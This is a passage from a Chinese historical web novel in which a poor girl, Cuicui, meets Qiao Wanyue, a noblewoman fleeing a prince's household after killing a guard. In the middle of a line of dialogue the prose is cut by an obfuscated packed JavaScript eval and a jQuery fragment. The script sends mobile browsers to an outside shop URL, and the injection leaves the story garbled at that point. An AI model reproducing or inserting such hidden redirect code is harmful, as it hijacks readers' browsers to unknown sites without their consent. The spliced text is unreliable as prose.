翠翠拖着两只口袋走在街上。今年霜冻收成极差,眼见着他们家就要没米吃饭,地主催租子催得急,扬言再不交租来年便不让他们种地。同村的乡邻自顾不暇,无人能帮,正当他们一家焦头烂额之际,京城里一房远房亲戚朝他们伸出援助之手,解了他们家燃眉之急。这房亲戚翠翠并没有什么印象,血缘到他们这一辈也早就淡得不能再淡,她虽然不知道人家为什么要帮他们,但等到家里境况稍微好一点,父亲找了短工,家里稍微能过得去了,她便提出带点东西登门道谢。
翠翠局促地站在京城大街上,来来往往皆是衣着不凡的男男女女,路过她时轻蔑地瞥了一眼她身上打满布丁的旧袄子,眼下早已入了严冬,她身上还是单薄的一件麻衣,手腕脚踝都露在外头冻得青紫,与满街京城的居民格格不入。翠翠低着头在街道上跑着,找到一处无人的巷尾避风,哈气跺脚来缓解身体的僵硬。
一个浑身污泥的乞丐坐在巷子深处,见了她摇摇晃晃地便靠上来,翠翠皱着眉躲开她的触碰,见她痴傻地笑着,身上衣不蔽体,又低头看看自己的样子,不由得起了一丝怜悯之心。
这乞儿跟自己又有甚么区别?翠翠怅然心想,都是吃不饱饭的家伙,自己若不是得了亲戚的救助,恐怕现在还跟她一样流离失所呢,相比起她,自己不过是神智更清醒一点罢了。
“你有吃的吗?”那乞儿盯着她,眼睛瞪大问道。
翠翠从口袋里取出一只冻得梆硬的红薯,犹豫着递给她。
“喏,只有这个。”翠翠说。
乞儿没接,看了会儿红薯,仿佛很困惑般,问道:“这是什么?”
翠翠耐心道:“这是红薯,填肚子用的,你拿着。”
那乞儿说:“我不要这个。你有吃的吗?”
翠翠又重复一遍:“这就是吃的。”
那乞儿仿佛听不懂她的话一般,只是一个劲儿地询问“你有吃的吗”,翠翠失去耐心,但又不想斥责她,只能离开这条巷子,打算重新寻一处安静的地方再做打算。
刚拐过街口,翠翠便被一道身影吸引了视线。一位女子正跟青铜大门后面的小厮打着商量:“小哥,我父亲与高大人是故交,你若向你家主人通报,我一定能进去。”
那小厮恶声恶气道:“您还是请回吧!方才您又不是没听见,我家大人压根不认识什么乔广将军,不知道您是从哪里找过来的,我瞧您衣着尊贵,看着也不是什么落魄人家出生,怎么就死乞白赖地上咱们府里攀交情呢?慢走不送!”
大门哐当一声被关上,乔挽月孤身一人站在雪地中,显得憔悴落寞。她身材单薄,厚厚的裘衣披在身上,却依然只有薄薄一片,看着像随时都能倒下一般。乔挽月咳嗽几声,脸色白得像雪。
翠翠见她独自从高府台阶上慢慢走下来,转身向另一个方向走,鬼使神差地跟上了她。
没走几步,乔挽月便绕进了小巷,翠翠一眨眼见人跟丢了,心下焦急,赶忙循着最后的记忆也从巷口钻进去。一把冰凉的匕首抵上鬼魅一般抵上她颈间,翠翠吓得差点尖叫出声。
乔挽月沉声道:“为什么跟着我?”
翠翠抖着嗓子解释:“你有香囊……那香囊是我母亲亲手缝的,我不可能认错……姐姐,咱们是亲戚,我是前几月受了您恩惠来道谢的,没有什么坏心思,刚才跟着您只是还没想好怎么开口……不是要害您……我怎么可能害我们一家的恩人呢……”她急得声音带上了哭腔,像握刀又不敢握,“姐姐,我真的不是坏人啊……”
乔挽月刀尖逼得更紧了些:“我不记得我救过什么人,你休想骗我。”
翠翠浑身肌肉紧绷着,闻言更加紧张:“那!那要我怎么说您才相信……您看我这个样子,连自己都护不过来,哪有那个能力去害别人……等等!我想起来了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112303|149789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那香囊里层我让母亲缝了一朵海棠,您瞧瞧是不是……”
乔挽月单手扒开香囊,果然看见夹层里一朵淡粉的海棠。她手上力道一松,翠翠身体瘫软,顺着墙壁瘫坐在地上,旁边口袋里的红薯散落一地。
乔挽月靠着墙沉默一会儿,吐出两个字“抱歉”。
从她避开人逃出王府已经过去了五个时辰,这五个时辰里她神经时刻紧绷,疑神疑鬼,总要回头看是否有人跟踪她。赵靖安应当已经知道她逃走的消息了,两个时辰前她刚甩开一批暗卫,有个暗卫搜查很仔细,实在躲不掉,乔挽月便使计解决了他。
刀尖顺着动脉刺进去的时候乔挽月手没有一丝颤抖,鲜血溅在脸上的温热触感熟悉得让人胆寒,她力道不够,刺得不深,堪堪躲开暗卫的攻击,脸颊边多了一道血口子,轻微的刺痛盖不过热血涌上大脑产生的兴奋,看到男人倒在脚边,她后退两步,心中后知后觉地升起一点茫然。
她杀人了。
但现状容不得她愣在原地,她动作生涩地简单处理了尸体,将尸首拖进垃圾堆中,又企图用泔水掩盖血迹。她像分裂出了第二个灵魂,有条不紊地操控她的身体做完一系列动作,拖动着那个男人逐渐僵硬的身体,她脑海里似乎有无数念头在疯狂地叫嚣,良心与道德居高临下地俯瞰着她,厌恶地看着她做出这些徒
劳之举,自欺欺人地掩盖痕迹。
那些纷繁的念头在她脑中相互争斗,激得她心脏不正常地加速跳动,她低头看到自己苍白的手掌,指缝和指甲里的血像洗不掉的刺青,交错着在她的皮肤间穿行,一直浸透表层的皮肤,缠绕着她的心脏渐渐收紧。
她觉得有什么东西在崩塌。
翠翠紧张地抬头望着她,看见乔挽月短暂地闭上眼。
一道厉风从耳畔擦过,翠翠瞳孔猛地一缩,尖声将乔挽月扑倒在地。
“小心!”